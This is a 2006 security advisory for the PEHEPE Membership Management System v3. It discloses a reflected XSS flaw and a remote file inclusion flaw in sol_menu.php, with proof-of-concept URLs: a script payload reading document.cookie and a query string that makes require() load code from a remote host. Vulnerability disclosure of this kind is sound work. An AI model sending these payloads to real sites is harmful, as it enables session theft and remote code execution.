PEHEPE-XSS.txt

`- Advisory: PEHEPE Membership Management System Multiple Vulnerabilities  
- Author: Yunus Emre Yilmaz -- mail[at]yunusemreyilmaz(dot)com  
  
- Application: PEHEPE MemberShip Management System (http://www.pehepe.org/UYELİK3)  
- Affected Version : v3 ( maybe older versions..)  
- Risk : Critical  
  
-- Details[0] : XSS Vulnerability  
An attacker can manupulate the value of $kul_adi, if s/he opens sol_menu.php directly.  
Sol_menu.php is an included page, but the attacker can access it directly. So, the value of $kul_adi   
can be changed from the address bar.  
  
-- Proof of Concept:  
http://target_site/script_path/sol_menu.php?kuladi="><script>alert(document.cookie)</script>  
  
-- Details[1] :Remote Code Execution Vulnerability  
There is a "require" command in sol_menu.php. The attacker can bypass the constant UYE_SEVIYE using a , querystring like "misafir[]=UYE_SEVIYE". So the remote code is executing. As a result, the attacker can change the value of the first parameter of the require function which is named as uye_klasor.(dir for remote url)  
  
-- Proof Of Concept:  
sol_menu.php?uye_klasor=http://www.example.org&misafir[]=UYE_SEVIYE  
  
-- Note : For using these vulnerabilities, register_globals must be on.  
  
Original URL : http://yns.zaxaz.com/2006/02/28/pehepe-membership-management-system-multiple-vulnerabilities/  
  
  
`